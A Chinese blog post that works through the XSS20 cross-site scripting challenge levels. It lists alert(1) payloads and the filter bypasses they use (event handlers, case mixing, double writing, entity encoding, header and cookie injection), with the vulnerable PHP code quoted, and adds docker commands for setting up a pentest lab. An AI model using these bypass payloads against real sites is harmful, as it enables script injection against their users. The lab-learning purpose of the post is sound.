follow my dream

XSS_20

字数统计: 1.2k阅读时长: 5 min
2019/12/02 Share

xss20

推荐
14、15打不开

level_1

payload?name=<script>alert(1)</script>

level_2

payload?keyword="><script>alert(1)</script><"

level_3 HTML 事件属性

payload?keyword=1'onmouseover='window.alert()

  • 其他可以利用的js事件
    onmouseenter=alert() //当鼠标移动到就会触发
    onclick=alert() //鼠标点击时就会触发,注意点击输入框
    onchange=alert() //在域的内容改变时发生
    oninput=alert() //在用户输入时触发
    onmouseover=alert()//鼠标移动到就会触发

    level_4 html事件

    payloadkeyword=1"onmouseover="window.alert()

    level_5 标签href属性 链接触发

  • 另一种方法javascript:alert(1)
    payload"><a href="javascript:alert(1)">a</a>"

    level_6 大小混写绕过

    没有大小写都过滤
    1
    2
    3
    4
    5
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    所以只要改变大小写绕过即可

level_7 双写绕过

1
$str =strtolower($_GET["keyword"]);

双写即可
payload:alert(1)"><a hrhrefef="javasjavascriptcript">a</a>"

level_8 Unicode 编码绕过

<a href = "javascript:alert(1)">a</a>与将sunicode编码&#***;后的<a href = "java&##115cript:alert(1)">a</a>一致

level_9 注释绕过

payloadjava&#115cript:alert(1)/*http://*/
&##115会被浏览器解析为s

level_10 显示隐藏表单

第十题会过滤<>,同时只允许t_sort传值

1
2
3
4
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

payload?t_sort=1" onmouseover=alert(1) type="text

level_11 更改Referer

此题由三个值可传keywordt_sortt_ref
但可利用的是t_ref
在HackBar上Referer=1"onmouseover=alert(1) type="text

level_12 更改User-Agent

根据view-source得知
t_ua对应请求头的User-Agent
可直接将上题的payload添加在User-Agent1"onmouseover=alert(1) type="text

level_13 更改Cookie

推荐使用fireFox上的cookie插件Open Cookie Manager
并将原cookie改为user=1"onmouseover=alert(1) type="text

level_14

打不开

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

level_15

苦恼。。。一样打不开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

level_16 错误触发

传送门好评G胖数3吧

  • 发现`/` `script` 空格 会被替代为` `
  • 空格被替换,可利用Blanks来替换

    Blanks=(‘%09’, ‘%0A’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0a’)

此题使用的方法是错误触发,
onerror事件:当一项资源加载失败,加载资源的元素会触发一个Event接口的error事件,并执行该元素上的onerror()处理函数.
<img%0Csrc=1%0Conerror="alert(1)">

level_17

  • 标签定义嵌入的内容,比如插件。
  • SWF 是Small Web Format 的缩写, 读作swiff),是用于多媒体,矢量图形和ActionScript的Adobe Flash文件格式。
    ?arg01=a&arg02=1%20onmouseover=alert(1)
    1
    2
    3
    4
    <?php
    ini_set("display_errors", 0);
    echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    ?>

level_18

?arg01=a&arg02=1%20onmouseover=alert(1)

1
2
3
4
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

U_U 17、18好像就插件不同

level_19

level_20

19&20 wp

使用docker快速搭建Permeate渗透测试系统实践

原文章

操作记录

  • service docker start
  • docker run --name mysqlserver -e MYSQL_ROOT_PASSWORD=123 -d -i -p 3309:3306 mysql:5.6
  • docker run --name permeate_test --link mysqlserver:db -d -i -p 8888:80 registry.cn-hangzhou.aliyuncs.com/daxia/websafe:init
  • docker exec permeate_test zsh -c "nginx && /usr/sbin/php-fpm7.2 -R"

Summary

先🕊为敬,时间不早了
大佬的XSS骚的一匹的笔记
目前看到比较好的Summary,找到更好再说

CATALOG
  1. 1. xss20
    1. 1.1. level_1
    2. 1.2. level_2
    3. 1.3. level_3 HTML 事件属性
    4. 1.4. level_4 html事件
    5. 1.5. level_5 标签href属性 链接触发
    6. 1.6. level_6 大小混写绕过
    7. 1.7. level_7 双写绕过
    8. 1.8. level_8 Unicode 编码绕过
    9. 1.9. level_9 注释绕过
    10. 1.10. level_10 显示隐藏表单
    11. 1.11. level_11 更改Referer
    12. 1.12. level_12 更改User-Agent
    13. 1.13. level_13 更改Cookie
    14. 1.14. level_14
    15. 1.15. level_15
    16. 1.16. level_16 错误触发
    17. 1.17. level_17
    18. 1.18. level_18
    19. 1.19. level_19
    20. 1.20. level_20
  2. 2. 使用docker快速搭建Permeate渗透测试系统实践
    1. 2.1. 操作记录
  3. 3. Summary